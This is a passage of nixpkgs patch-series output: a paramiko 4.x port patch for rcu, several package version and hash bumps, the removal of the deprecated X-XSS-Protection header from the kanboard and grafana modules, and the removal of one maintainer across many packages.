+ from paramiko.kex_gex import KexGex, KexGexSHA256
+@@ -117,7 +116,6 @@
  from paramiko.message import Message
  from paramiko.packet import Packetizer, NeedRekeyException
  from paramiko.primes import ModulusPack
@@ -19,7 +17,7 @@ index 0c2ee16..5a2bd22 100644
  from paramiko.rsakey import RSAKey
  from paramiko.ecdsakey import ECDSAKey
  from paramiko.server import ServerInterface
-@@ -128,7 +127,7 @@ from paramiko.ssh_exception import (
+@@ -128,7 +126,7 @@
      ChannelException,
      ProxyCommandFailure,
  )
@@ -28,7 +26,24 @@ index 0c2ee16..5a2bd22 100644
  
  
  # for thread cleanup
-@@ -396,7 +395,7 @@ class Transport(threading.Thread, ClosingContextManager):
+@@ -192,7 +190,6 @@
+         "ecdsa-sha2-nistp384",
+         "ecdsa-sha2-nistp521",
+         "ssh-rsa",
+-        "ssh-dss",
+     )
+     _preferred_kex = (
+         "ecdh-sha2-nistp256",
+@@ -273,8 +270,6 @@
+     _key_info = {
+         "ssh-rsa": RSAKey,
+         "ssh-rsa-cert-v01@openssh.com": RSAKey,
+-        "ssh-dss": DSSKey,
+-        "ssh-dss-cert-v01@openssh.com": DSSKey,
+         "ecdsa-sha2-nistp256": ECDSAKey,
+         "ecdsa-sha2-nistp256-cert-v01@openssh.com": ECDSAKey,
+         "ecdsa-sha2-nistp384": ECDSAKey,
+@@ -396,7 +391,7 @@
          self.active = False
          self.hostname = None
  
@@ -37,7 +52,7 @@ index 0c2ee16..5a2bd22 100644
              # convert "host:port" into (host, port)
              hl = sock.split(":", 1)
              self.hostname = hl[0]
-@@ -419,7 +418,7 @@ class Transport(threading.Thread, ClosingContextManager):
+@@ -419,7 +414,7 @@
                      sock = socket.socket(af, socket.SOCK_STREAM)
                      sock.settimeout(1)
                      try:
@@ -46,7 +61,7 @@ index 0c2ee16..5a2bd22 100644
                      except socket.error as e:
                          reason = str(e)
                      else:
-@@ -542,7 +541,7 @@ class Transport(threading.Thread, ClosingContextManager):
+@@ -542,7 +537,7 @@
          """
          Returns a string representation of this object, for debugging.
          """
@@ -55,7 +70,31 @@ index 0c2ee16..5a2bd22 100644
          out = "<paramiko.Transport at {}".format(id_)
          if not self.active:
              out += " (unconnected)"
-@@ -1123,7 +1122,7 @@ class Transport(threading.Thread, ClosingContextManager):
+@@ -749,11 +744,11 @@
+         as a server, the host key is used to sign certain packets during the
+         SSH2 negotiation, so that the client can trust that we are who we say
+         we are.  Because this is used for signing, the key must contain private
+-        key info, not just the public half.  Only one key of each type (RSA or
+-        DSS) is kept.
++        key info, not just the public half.  Only one key of each type (i.e.
++        RSA) is kept.
+ 
+         :param .PKey key:
+-            the host key to add, usually an `.RSAKey` or `.DSSKey`.
++            the host key to add, usually an `.RSAKey`.
+         """
+         self.server_key_dict[key.get_name()] = key
+ 
+@@ -763,7 +758,7 @@
+         client, this method will return the negotiated host key.  If only one
+         type of host key was set with `add_server_key`, that's the only key
+         that will ever be returned.  But in cases where you have set more than
+-        one type of host key (for example, an RSA key and a DSS key), the key
++        one type of host key (for example, an RSA key and another key), the key
+         type will be negotiated by the client, and this method will return the
+         key of the type agreed on.  If the host key has not been negotiated
+         yet, ``None`` is returned.  In client mode, the behavior is undefined.
+@@ -1123,7 +1118,7 @@
          m = Message()
          m.add_byte(cMSG_IGNORE)
          if byte_count is None:
@@ -64,7 +103,7 @@ index 0c2ee16..5a2bd22 100644
          m.add_bytes(os.urandom(byte_count))
          self._send_user_message(m)
  
-@@ -1802,7 +1801,7 @@ class Transport(threading.Thread, ClosingContextManager):
+@@ -1802,7 +1797,7 @@
      def stop_thread(self):
          self.active = False
          self.packetizer.close()
@@ -73,7 +112,7 @@ index 0c2ee16..5a2bd22 100644
              # Original join logic; #520 doesn't appear commonly present under
              # Python 2.
              while self.is_alive() and self is not threading.current_thread():
-@@ -1909,7 +1908,7 @@ class Transport(threading.Thread, ClosingContextManager):
+@@ -1909,7 +1904,7 @@
          m = Message()
          m.add_mpint(self.K)
          m.add_bytes(self.H)
@@ -82,7 +121,7 @@ index 0c2ee16..5a2bd22 100644
          m.add_bytes(self.session_id)
          # Fallback to SHA1 for kex engines that fail to specify a hex
          # algorithm, or for e.g. transport tests that don't run kexinit.
-@@ -2037,14 +2036,14 @@ class Transport(threading.Thread, ClosingContextManager):
+@@ -2037,14 +2032,14 @@
  
          # active=True occurs before the thread is launched, to avoid a race
          _active_threads.append(self)
@@ -99,6 +138,3 @@ index 0c2ee16..5a2bd22 100644
                  self._log(
                      DEBUG,
                      "Local version/idstring: {}".format(self.local_version),
--- 
-2.42.0
-
diff --git a/pkgs/by-name/rc/rcu/package.nix b/pkgs/by-name/rc/rcu/package.nix
index bfb401a83b76..9c17d224937c 100644
--- a/pkgs/by-name/rc/rcu/package.nix
+++ b/pkgs/by-name/rc/rcu/package.nix
@@ -20,7 +20,7 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "rcu";
-  version = "4.0.24";
+  version = "4.0.25";
 
   format = "other";
 
@@ -28,7 +28,7 @@ python3Packages.buildPythonApplication rec {
     let
       src-tarball = requireFile {
         name = "rcu-${version}-source.tar.gz";
-        hash = "sha256-3rZiqg8Uuta3kI2m+2rBZ1XzN9bFds+emhivH5X7sJg=";
+        hash = "sha256-8xcYAQxUmY8beUrRYmOn5UeWibr0EUZLOG4pFfeeSdw=";
         url = "https://www.davisr.me/projects/rcu/";
       };
     in
@@ -39,7 +39,7 @@ python3Packages.buildPythonApplication rec {
     '';
 
   patches = [
-    ./Port-to-paramiko-3.x.patch
+    ./Port-to-paramiko-4.x.patch
   ];
 
   postPatch = ''

From 30f77dfd6ef3bd3c8d0f9da68be884ba11b471c5 Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Thu, 28 Aug 2025 22:45:10 +0200
Subject: [PATCH 4156/4511] rcu: 4.0.25 -> 4.0.26

(cherry picked from commit ee56f797a4a4d1de200cfaafc563bf01f9264ad3)
---
 pkgs/by-name/rc/rcu/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/rc/rcu/package.nix b/pkgs/by-name/rc/rcu/package.nix
index 9c17d224937c..f62b6d5dfa87 100644
--- a/pkgs/by-name/rc/rcu/package.nix
+++ b/pkgs/by-name/rc/rcu/package.nix
@@ -20,7 +20,7 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "rcu";
-  version = "4.0.25";
+  version = "4.0.26";
 
   format = "other";
 
@@ -28,7 +28,7 @@ python3Packages.buildPythonApplication rec {
     let
       src-tarball = requireFile {
         name = "rcu-${version}-source.tar.gz";
-        hash = "sha256-8xcYAQxUmY8beUrRYmOn5UeWibr0EUZLOG4pFfeeSdw=";
+        hash = "sha256-yY3OFZVHxhVurfjSEeR+UUNHQdpc08jhgaDEvMWRsLA=";
         url = "https://www.davisr.me/projects/rcu/";
       };
     in

From 4398ea964b6fe41d10c2f5a27b6b890c0770acdf Mon Sep 17 00:00:00 2001
From: Zexin Yuan <git@yzx9.xyz>
Date: Mon, 1 Sep 2025 09:43:15 +0800
Subject: [PATCH 4157/4511] nixos/kanboard: remove X-XSS-Protection

(cherry picked from commit 47fcf2302680625abd6750f86e0abf6694266d8c)
---
 nixos/modules/services/web-apps/kanboard.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/nixos/modules/services/web-apps/kanboard.nix b/nixos/modules/services/web-apps/kanboard.nix
index e422c3191cbb..6c12cb6e2bb7 100644
--- a/nixos/modules/services/web-apps/kanboard.nix
+++ b/nixos/modules/services/web-apps/kanboard.nix
@@ -157,7 +157,6 @@ in
           locations."~ \\.(js|css|ttf|woff2?|png|jpe?g|svg)$".extraConfig = ''
             add_header Cache-Control "public, max-age=15778463";
             add_header X-Content-Type-Options nosniff;
-            add_header X-XSS-Protection "1; mode=block";
             add_header X-Robots-Tag none;
             add_header X-Download-Options noopen;
             add_header X-Permitted-Cross-Domain-Policies none;

From 27d2e273004b09a466f3aeb3350e0992f1607bcd Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sun, 31 Aug 2025 15:22:16 +0200
Subject: [PATCH 4158/4511] nixos/grafana: don't set X-XSS-Protection anymore

Part of #438800.

The OWASP recommentation[1] is:

> The X-XSS-Protection header has been deprecated by modern browsers
> and its use can introduce additional security issues on the client
> side. As such, it is recommended to set the header as X-XSS-Protection: 0
> in order to disable the XSS Auditor, and not allow it to take the default
> behavior of the browser handling the response. Please use
> Content-Security-Policy instead.

Hence, we turn this off, diverging from the upstream defaults here. An
upstream issue has been opened[2].

[1] https://owasp.org/www-project-secure-headers/#x-xss-protection
[2] https://github.com/grafana/grafana/issues/110369

(cherry picked from commit 409107d2f5f3abbc5ea5f6414902948776e9954d)
---
 nixos/modules/services/monitoring/grafana.nix | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/services/monitoring/grafana.nix b/nixos/modules/services/monitoring/grafana.nix
index 786bad49507f..e698bc14986a 100644
--- a/nixos/modules/services/monitoring/grafana.nix
+++ b/nixos/modules/services/monitoring/grafana.nix
@@ -985,10 +985,13 @@ in
 
             x_xss_protection = mkOption {
               description = ''
-                Set to `false` to disable the `X-XSS-Protection` header,
+                Set to `true` to enable the `X-XSS-Protection` header,
                 which tells browsers to stop pages from loading when they detect reflected cross-site scripting (XSS) attacks.
+
+                __Note:__ this is the default in Grafana, it's turned off here
+                since it's [recommended to not use this header anymore](https://owasp.org/www-project-secure-headers/#x-xss-protection).
               '';
-              default = true;
+              default = false;
               type = types.bool;
             };
 

From 8531d35134595642273346a2860d28c0ab3192a5 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Mon, 1 Sep 2025 21:38:53 +0000
Subject: [PATCH 4159/4511] chhoto-url: 6.3.0 -> 6.3.1

Changelog: https://github.com/SinTan1729/chhoto-url/releases/tag/6.3.1
Diff: https://github.com/SinTan1729/chhoto-url/compare/6.3.0...6.3.1
(cherry picked from commit 71701ca8a54608a30455fd91b06672bace2376de)
---
 pkgs/by-name/ch/chhoto-url/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ch/chhoto-url/package.nix b/pkgs/by-name/ch/chhoto-url/package.nix
index 2772443a8e3a..36ace0d78e50 100644
--- a/pkgs/by-name/ch/chhoto-url/package.nix
+++ b/pkgs/by-name/ch/chhoto-url/package.nix
@@ -8,13 +8,13 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "chhoto-url";
-  version = "6.3.0";
+  version = "6.3.1";
 
   src = fetchFromGitHub {
     owner = "SinTan1729";
     repo = "chhoto-url";
     tag = finalAttrs.version;
-    hash = "sha256-y7koflkcQv9JsTqbUzyK0S3lClU9188532J5UVWrM4g=";
+    hash = "sha256-ks/jfqtU/R3i6LHZtWr0gY3zuElxABtvygCIbK9GYng=";
   };
 
   sourceRoot = "${finalAttrs.src.name}/actix";
@@ -24,7 +24,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
       --replace-fail "./resources/" "${placeholder "out"}/share/chhoto-url/resources/"
   '';
 
-  cargoHash = "sha256-eB56ZEWAp5RBY4EFyuGzwamDRxDz0Ip3mzuzLwyZR/I=";
+  cargoHash = "sha256-9KLpI9CM5LDsZCRGgcvHvbt7Q6yIAQuMR2SpN5uBTOE=";
 
   postInstall = ''
     mkdir -p $out/share/chhoto-url

From d81145a0f85af089cf9190e0d40551ab4f8bd929 Mon Sep 17 00:00:00 2001
From: crertel <chris@kedagital.com>
Date: Sun, 31 Aug 2025 17:56:14 -0500
Subject: [PATCH 4160/4511] lmstudio: 0.3.23.3 -> 0.3.24.6

(cherry picked from commit a29f3139624c601eea7dce9a314c1eac54ac8daa)
---
 pkgs/by-name/lm/lmstudio/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/lm/lmstudio/package.nix b/pkgs/by-name/lm/lmstudio/package.nix
index 1f3d4c6dbdd4..d7f236d48efc 100644
--- a/pkgs/by-name/lm/lmstudio/package.nix
+++ b/pkgs/by-name/lm/lmstudio/package.nix
@@ -7,10 +7,10 @@
 let
   pname = "lmstudio";
 
-  version_aarch64-darwin = "0.3.23-3";
-  hash_aarch64-darwin = "sha256-Jfx4Fx9mlrdGckE2ML3eTQHfgglEELOYJYxibRiAB7c=";
-  version_x86_64-linux = "0.3.23-3";
-  hash_x86_64-linux = "sha256-FG3CzD6UjuPYXImjTkKTozpTQVGk8JLqxhJxTS9qjuo=";
+  version_aarch64-darwin = "0.3.24-6";
+  hash_aarch64-darwin = "sha256-1SNiyxpjEaxzlIcotgNiCW3LLIqRI55jTKzj2T9PtNs=";
+  version_x86_64-linux = "0.3.24-6";
+  hash_x86_64-linux = "sha256-TjfrNPr8xRUOmRRx2rLJEh3D/kV3OOfqgRTVstOd6AE=";
 
   meta = {
     description = "LM Studio is an easy to use desktop app for experimenting with local and open-source Large Language Models (LLMs)";

From f4b2746db8a895f4bb72e523e3a657d1346c25c5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 27 Aug 2025 15:01:18 +0000
Subject: [PATCH 4161/4511] easyrsa: 3.2.3 -> 3.2.4

(cherry picked from commit 7082943360f5f195c472f4e57bd6a5595affacc1)
---
 pkgs/by-name/ea/easyrsa/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ea/easyrsa/package.nix b/pkgs/by-name/ea/easyrsa/package.nix
index a45bf2306e77..54cf6d87c256 100644
--- a/pkgs/by-name/ea/easyrsa/package.nix
+++ b/pkgs/by-name/ea/easyrsa/package.nix
@@ -9,13 +9,13 @@
 
 stdenv.mkDerivation rec {
   pname = "easyrsa";
-  version = "3.2.3";
+  version = "3.2.4";
 
   src = fetchFromGitHub {
     owner = "OpenVPN";
     repo = "easy-rsa";
     rev = "v${version}";
-    hash = "sha256-TAJAwvcIkAB4YShK9NItw14UTvuxtNd/OxLDkO8p0d0=";
+    hash = "sha256-X/EXiiSLDSxxSSNnb6lkPsvdA0vSp/zPN+wSNuUMzrg=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From 1bcf64972da682f439589eacb2d0876562c189c9 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 5 Jun 2025 17:21:46 +0000
Subject: [PATCH 4162/4511] warp-plus: 1.2.5 -> 1.2.6

(cherry picked from commit bb566b3b56c4436f30b5bf1b7e78692a947d3a07)
---
 pkgs/by-name/wa/warp-plus/package.nix | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/wa/warp-plus/package.nix b/pkgs/by-name/wa/warp-plus/package.nix
index 2b34aed01ea9..e783ca677f56 100644
--- a/pkgs/by-name/wa/warp-plus/package.nix
+++ b/pkgs/by-name/wa/warp-plus/package.nix
@@ -10,16 +10,16 @@
 
 buildGoModule rec {
   pname = "warp-plus";
-  version = "1.2.5";
+  version = "1.2.6";
 
   src = fetchFromGitHub {
     owner = "bepass-org";
     repo = "warp-plus";
     rev = "v${version}";
-    hash = "sha256-gDn4zicSD+Hz3GsL6pzGpUaiHcw+8KHDaOJGCML6LOA=";
+    hash = "sha256-Zi428QI0DBIPEywXPi0TwDQWJuQyQcB6N5nqtYkkpHk=";
   };
 
-  vendorHash = "sha256-MWzF9+yK+aUr8D4d64+qCD6XIqtmWH5hCLmQoksgFf8=";
+  vendorHash = "sha256-cCMbda2dVZypGqy9zoh0D3lVHWw/HNbCaSe0Nj5wL6s=";
 
   ldflags = [
     "-s"
@@ -32,6 +32,7 @@ buildGoModule rec {
       # Skip tests that require network access
       skippedTests = [
         "TestConcurrencySafety"
+        "TestNoiseHandshake"
         "TestTwoDevicePing"
       ];
     in

From b2e397ff89e4011c2d92e79264466608b289df2b Mon Sep 17 00:00:00 2001
From: Pavel Sobolev <contact@paveloom.dev>
Date: Sun, 13 Jul 2025 12:16:47 +0300
Subject: [PATCH 4163/4511] treewide: remove `paveloom` as maintainer

(cherry picked from commit f685a226649044b3016bc4726974bf114fae3ea6)
---
 maintainers/maintainer-list.nix                             | 6 ------
 nixos/tests/flaresolverr.nix                                | 2 +-
 nixos/tests/whisparr.nix                                    | 2 +-
 pkgs/by-name/cp/cppcheck/package.nix                        | 5 +----
 pkgs/by-name/ea/earthlyls/package.nix                       | 2 +-
 pkgs/by-name/ed/eddie/package.nix                           | 2 +-
 pkgs/by-name/fl/flaresolverr/package.nix                    | 2 +-
 pkgs/by-name/fo/fopnu/package.nix                           | 2 +-
 pkgs/by-name/gr/gr-framework/package.nix                    | 2 +-
 pkgs/by-name/io/ios-safari-remote-debug/package.nix         | 2 +-
 pkgs/by-name/io/ios-webkit-debug-proxy/package.nix          | 5 +----
 pkgs/by-name/la/lazygit/package.nix                         | 1 -
 pkgs/by-name/me/mesonlsp/package.nix                        | 2 +-
 pkgs/by-name/mo/mold/package.nix                            | 5 +----
 pkgs/by-name/pv/pvs-studio/package.nix                      | 2 +-
 pkgs/by-name/st/streamrip/package.nix                       | 2 +-
 pkgs/by-name/su/substudy/package.nix                        | 2 +-
 pkgs/by-name/su/subtitleedit/package.nix                    | 2 +-
 pkgs/by-name/tr/tracy/package.nix                           | 1 -
 pkgs/by-name/un/undetected-chromedriver/package.nix         | 2 +-
 pkgs/by-name/vt/vtfedit/package.nix                         | 2 +-
 pkgs/by-name/wa/warp-plus/package.nix                       | 2 +-
 pkgs/by-name/wh/whisparr/package.nix                        | 2 +-
 pkgs/development/python-modules/pyqtdarktheme/default.nix   | 2 +-
 .../python-modules/undetected-chromedriver/default.nix      | 2 +-
 25 files changed, 22 insertions(+), 39 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index a11a5e35c1b1..1e1371b8e988 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -18961,12 +18961,6 @@
     name = "Michael Bergmeister";
     githubId = 53442728;
   };
-  paveloom = {
-    email = "contact@paveloom.dev";
-    github = "paveloom";
-    githubId = 49961859;
-    name = "Pavel Sobolev";
-  };
   pawelchcki = {
     email = "pawel.chcki@gmail.com";
     github = "pawelchcki";
diff --git a/nixos/tests/flaresolverr.nix b/nixos/tests/flaresolverr.nix
index 0cec7adf6d6b..ba198ef74560 100644
--- a/nixos/tests/flaresolverr.nix
+++ b/nixos/tests/flaresolverr.nix
@@ -2,7 +2,7 @@ import ./make-test-python.nix (
   { lib, ... }:
   {
     name = "flaresolverr";
-    meta.maintainers = with lib.maintainers; [ paveloom ];
+    meta.maintainers = with lib.maintainers; [ ];
 
     nodes.machine =
       { pkgs, ... }:
diff --git a/nixos/tests/whisparr.nix b/nixos/tests/whisparr.nix
index 3d528a21c6e2..4ae150460c46 100644
--- a/nixos/tests/whisparr.nix
+++ b/nixos/tests/whisparr.nix
@@ -2,7 +2,7 @@ import ./make-test-python.nix (
   { lib, ... }:
   {
     name = "whisparr";
-    meta.maintainers = [ lib.maintainers.paveloom ];
+    meta.maintainers = [ ];
 
     nodes.machine =
       { pkgs, ... }:
diff --git a/pkgs/by-name/cp/cppcheck/package.nix b/pkgs/by-name/cp/cppcheck/package.nix
index 464631b171da..b7edb7089491 100644
--- a/pkgs/by-name/cp/cppcheck/package.nix
+++ b/pkgs/by-name/cp/cppcheck/package.nix
@@ -116,10 +116,7 @@ stdenv.mkDerivation (finalAttrs: {
     '';
     homepage = "http://cppcheck.sourceforge.net";
     license = lib.licenses.gpl3Plus;
-    maintainers = with lib.maintainers; [
-      joachifm
-      paveloom
-    ];
+    maintainers = with lib.maintainers; [ joachifm ];
     platforms = lib.platforms.unix;
   };
 })
diff --git a/pkgs/by-name/ea/earthlyls/package.nix b/pkgs/by-name/ea/earthlyls/package.nix
index 7ecfea36f8fe..b2646abeddf0 100644
--- a/pkgs/by-name/ea/earthlyls/package.nix
+++ b/pkgs/by-name/ea/earthlyls/package.nix
@@ -32,7 +32,7 @@ rustPlatform.buildRustPackage rec {
     changelog = "https://github.com/glehmann/earthlyls/releases/tag/${version}";
     license = lib.licenses.mit;
     mainProgram = "earthlyls";
-    maintainers = with lib.maintainers; [ paveloom ];
+    maintainers = with lib.maintainers; [ ];
     platforms = lib.platforms.linux ++ lib.platforms.darwin;
   };
 }
diff --git a/pkgs/by-name/ed/eddie/package.nix b/pkgs/by-name/ed/eddie/package.nix
index 735a3268aafa..104733fdb62a 100644
--- a/pkgs/by-name/ed/eddie/package.nix
+++ b/pkgs/by-name/ed/eddie/package.nix
@@ -138,7 +138,7 @@ buildDotnetModule rec {
     homepage = "https://eddie.website";
     license = lib.licenses.gpl3Plus;
     mainProgram = "eddie-ui";
-    maintainers = with lib.maintainers; [ paveloom ];
+    maintainers = with lib.maintainers; [ ];
     platforms = lib.platforms.linux;
   };
 }
diff --git a/pkgs/by-name/fl/flaresolverr/package.nix b/pkgs/by-name/fl/flaresolverr/package.nix
index 8ee30bdfc468..0e271efaed0c 100644
--- a/pkgs/by-name/fl/flaresolverr/package.nix
+++ b/pkgs/by-name/fl/flaresolverr/package.nix
@@ -77,7 +77,7 @@ stdenv.mkDerivation (finalAttrs: {
     changelog = "https://github.com/FlareSolverr/FlareSolverr/blob/${finalAttrs.src.rev}/CHANGELOG.md";
     license = licenses.mit;
     mainProgram = "flaresolverr";
-    maintainers = with maintainers; [ paveloom ];
+    maintainers = with maintainers; [ ];
     inherit (undetected-chromedriver.meta) platforms;
   };
 })
diff --git a/pkgs/by-name/fo/fopnu/package.nix b/pkgs/by-name/fo/fopnu/package.nix
index db2a9a89a9b7..4f354d0d16f6 100644
--- a/pkgs/by-name/fo/fopnu/package.nix
+++ b/pkgs/by-name/fo/fopnu/package.nix
@@ -48,7 +48,7 @@ stdenvNoCC.mkDerivation rec {
     license = licenses.unfree;
     sourceProvenance = with sourceTypes; [ binaryNativeCode ];
     mainProgram = "fopnu";
-    maintainers = with maintainers; [ paveloom ];
+    maintainers = with maintainers; [ ];
     platforms = [ "x86_64-linux" ];
   };
 }
diff --git a/pkgs/by-name/gr/gr-framework/package.nix b/pkgs/by-name/gr/gr-framework/package.nix
index 51d63e78d187..86f7c5e9ea79 100644
--- a/pkgs/by-name/gr/gr-framework/package.nix
+++ b/pkgs/by-name/gr/gr-framework/package.nix
@@ -62,7 +62,7 @@ stdenv.mkDerivation rec {
     description = "GR framework is a graphics library for visualisation applications";
     homepage = "https://gr-framework.org";
     license = licenses.mit;
-    maintainers = with maintainers; [ paveloom ];
+    maintainers = with maintainers; [ ];
     platforms = platforms.unix;
   };
 }
diff --git a/pkgs/by-name/io/ios-safari-remote-debug/package.nix b/pkgs/by-name/io/ios-safari-remote-debug/package.nix
index 216c4ed15cdd..47f3f6d973ad 100644
--- a/pkgs/by-name/io/ios-safari-remote-debug/package.nix
+++ b/pkgs/by-name/io/ios-safari-remote-debug/package.nix
@@ -35,6 +35,6 @@ buildGoModule rec {
     homepage = "https://git.gay/besties/ios-safari-remote-debug";
     license = lib.licenses.agpl3Plus;
     mainProgram = "ios-safari-remote-debug";
-    maintainers = with lib.maintainers; [ paveloom ];
+    maintainers = with lib.maintainers; [ ];
   };
 }
diff --git a/pkgs/by-name/io/ios-webkit-debug-proxy/package.nix b/pkgs/by-name/io/ios-webkit-debug-proxy/package.nix
index 416af017b6cd..82595e3be187 100644
--- a/pkgs/by-name/io/ios-webkit-debug-proxy/package.nix
+++ b/pkgs/by-name/io/ios-webkit-debug-proxy/package.nix
@@ -74,9 +74,6 @@ stdenv.mkDerivation (finalAttrs: {
     changelog = "https://github.com/google/ios-webkit-debug-proxy/releases/tag/${finalAttrs.src.rev}";
     license = licenses.bsd3;
     mainProgram = "ios_webkit_debug_proxy";
-    maintainers = with maintainers; [
-      abustany
-      paveloom
-    ];
+    maintainers = with maintainers; [ abustany ];
   };
 })
diff --git a/pkgs/by-name/la/lazygit/package.nix b/pkgs/by-name/la/lazygit/package.nix
index be2c602dd987..271a53f9dcc6 100644
--- a/pkgs/by-name/la/lazygit/package.nix
+++ b/pkgs/by-name/la/lazygit/package.nix
@@ -45,7 +45,6 @@ buildGoModule rec {
       Br1ght0ne
       equirosa
       khaneliman
-      paveloom
       starsep
       sigmasquadron
     ];
diff --git a/pkgs/by-name/me/mesonlsp/package.nix b/pkgs/by-name/me/mesonlsp/package.nix
index 4eb8247f813f..e8c9957eeb6b 100644
--- a/pkgs/by-name/me/mesonlsp/package.nix
+++ b/pkgs/by-name/me/mesonlsp/package.nix
@@ -164,7 +164,7 @@ stdenv'.mkDerivation (finalAttrs: {
     changelog = "https://github.com/JCWasmx86/mesonlsp/releases/tag/v${finalAttrs.version}";
     license = licenses.gpl3Plus;
     mainProgram = "mesonlsp";
-    maintainers = with maintainers; [ paveloom ];
+    maintainers = with maintainers; [ ];
     platforms = platforms.unix;
     # ../src/liblog/log.cpp:41:7: error: call to 'format' is ambiguous
     broken = stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64;
diff --git a/pkgs/by-name/mo/mold/package.nix b/pkgs/by-name/mo/mold/package.nix
index 8bb3e4b2578a..071423dd9cc0 100644
--- a/pkgs/by-name/mo/mold/package.nix
+++ b/pkgs/by-name/mo/mold/package.nix
@@ -129,9 +129,6 @@ stdenv.mkDerivation (finalAttrs: {
     platforms = lib.platforms.unix;
     broken = stdenv.hostPlatform.isDarwin;
     mainProgram = "mold";
-    maintainers = with lib.maintainers; [
-      azahi
-      paveloom
-    ];
+    maintainers = with lib.maintainers; [ azahi ];
   };
 })
diff --git a/pkgs/by-name/pv/pvs-studio/package.nix b/pkgs/by-name/pv/pvs-studio/package.nix
index 626b4e16f7d1..8789344023e5 100644
--- a/pkgs/by-name/pv/pvs-studio/package.nix
+++ b/pkgs/by-name/pv/pvs-studio/package.nix
@@ -77,6 +77,6 @@ stdenv.mkDerivation rec {
       "x86_64-linux"
     ];
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
-    maintainers = with lib.maintainers; [ paveloom ];
+    maintainers = with lib.maintainers; [ ];
   };
 }
diff --git a/pkgs/by-name/st/streamrip/package.nix b/pkgs/by-name/st/streamrip/package.nix
index 9fa90e8b6603..262c50c9d374 100644
--- a/pkgs/by-name/st/streamrip/package.nix
+++ b/pkgs/by-name/st/streamrip/package.nix
@@ -66,7 +66,7 @@ python3Packages.buildPythonApplication rec {
     description = "Scriptable music downloader for Qobuz, Tidal, SoundCloud, and Deezer";
     homepage = "https://github.com/nathom/streamrip";
     license = licenses.gpl3Only;
-    maintainers = with maintainers; [ paveloom ];
+    maintainers = with maintainers; [ ];
     mainProgram = "rip";
   };
 }
diff --git a/pkgs/by-name/su/substudy/package.nix b/pkgs/by-name/su/substudy/package.nix
index d7991dd24e21..618597ec23c2 100644
--- a/pkgs/by-name/su/substudy/package.nix
+++ b/pkgs/by-name/su/substudy/package.nix
@@ -42,6 +42,6 @@ rustPlatform.buildRustPackage rec {
     homepage = "http://www.randomhacks.net/substudy";
     license = licenses.asl20;
     mainProgram = "substudy";
-    maintainers = with maintainers; [ paveloom ];
+    maintainers = with maintainers; [ ];
   };
 }
diff --git a/pkgs/by-name/su/subtitleedit/package.nix b/pkgs/by-name/su/subtitleedit/package.nix
index 03aab4482d4d..94df0b0f7225 100644
--- a/pkgs/by-name/su/subtitleedit/package.nix
+++ b/pkgs/by-name/su/subtitleedit/package.nix
@@ -95,6 +95,6 @@ stdenv.mkDerivation rec {
     license = licenses.gpl3Plus;
     platforms = platforms.all;
     sourceProvenance = with sourceTypes; [ binaryNativeCode ];
-    maintainers = with maintainers; [ paveloom ];
+    maintainers = with maintainers; [ ];
   };
 }
diff --git a/pkgs/by-name/tr/tracy/package.nix b/pkgs/by-name/tr/tracy/package.nix
index c0be4f8f2c1b..93c962e8fad0 100644
--- a/pkgs/by-name/tr/tracy/package.nix
+++ b/pkgs/by-name/tr/tracy/package.nix
@@ -124,7 +124,6 @@ stdenv.mkDerivation rec {
     maintainers = with maintainers; [
       mpickering
       nagisa
-      paveloom
     ];
     platforms = platforms.linux ++ lib.optionals (!withWayland) platforms.darwin;
   };
diff --git a/pkgs/by-name/un/undetected-chromedriver/package.nix b/pkgs/by-name/un/undetected-chromedriver/package.nix
index 844bbe3b069c..4bf725552fad 100644
--- a/pkgs/by-name/un/undetected-chromedriver/package.nix
+++ b/pkgs/by-name/un/undetected-chromedriver/package.nix
@@ -38,6 +38,6 @@ stdenv.mkDerivation (finalAttrs: {
   meta = chromedriver.meta // {
     description = "Custom Selenium ChromeDriver that passes all bot mitigation systems";
     mainProgram = "undetected-chromedriver";
-    maintainers = with lib.maintainers; [ paveloom ];
+    maintainers = with lib.maintainers; [ ];
   };
 })
diff --git a/pkgs/by-name/vt/vtfedit/package.nix b/pkgs/by-name/vt/vtfedit/package.nix
index 77ee821ad7e4..6b8792452727 100644
--- a/pkgs/by-name/vt/vtfedit/package.nix
+++ b/pkgs/by-name/vt/vtfedit/package.nix
@@ -75,6 +75,6 @@ stdenv.mkDerivation rec {
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
     license = lib.licenses.lgpl21Plus;
     inherit (wine.meta) platforms;
-    maintainers = with lib.maintainers; [ paveloom ];
+    maintainers = with lib.maintainers; [ ];
   };
 }
diff --git a/pkgs/by-name/wa/warp-plus/package.nix b/pkgs/by-name/wa/warp-plus/package.nix
index e783ca677f56..0bd38a45d10a 100644
--- a/pkgs/by-name/wa/warp-plus/package.nix
+++ b/pkgs/by-name/wa/warp-plus/package.nix
@@ -47,7 +47,7 @@ buildGoModule rec {
     description = "Warp + Psiphon, an anti censorship utility for Iran";
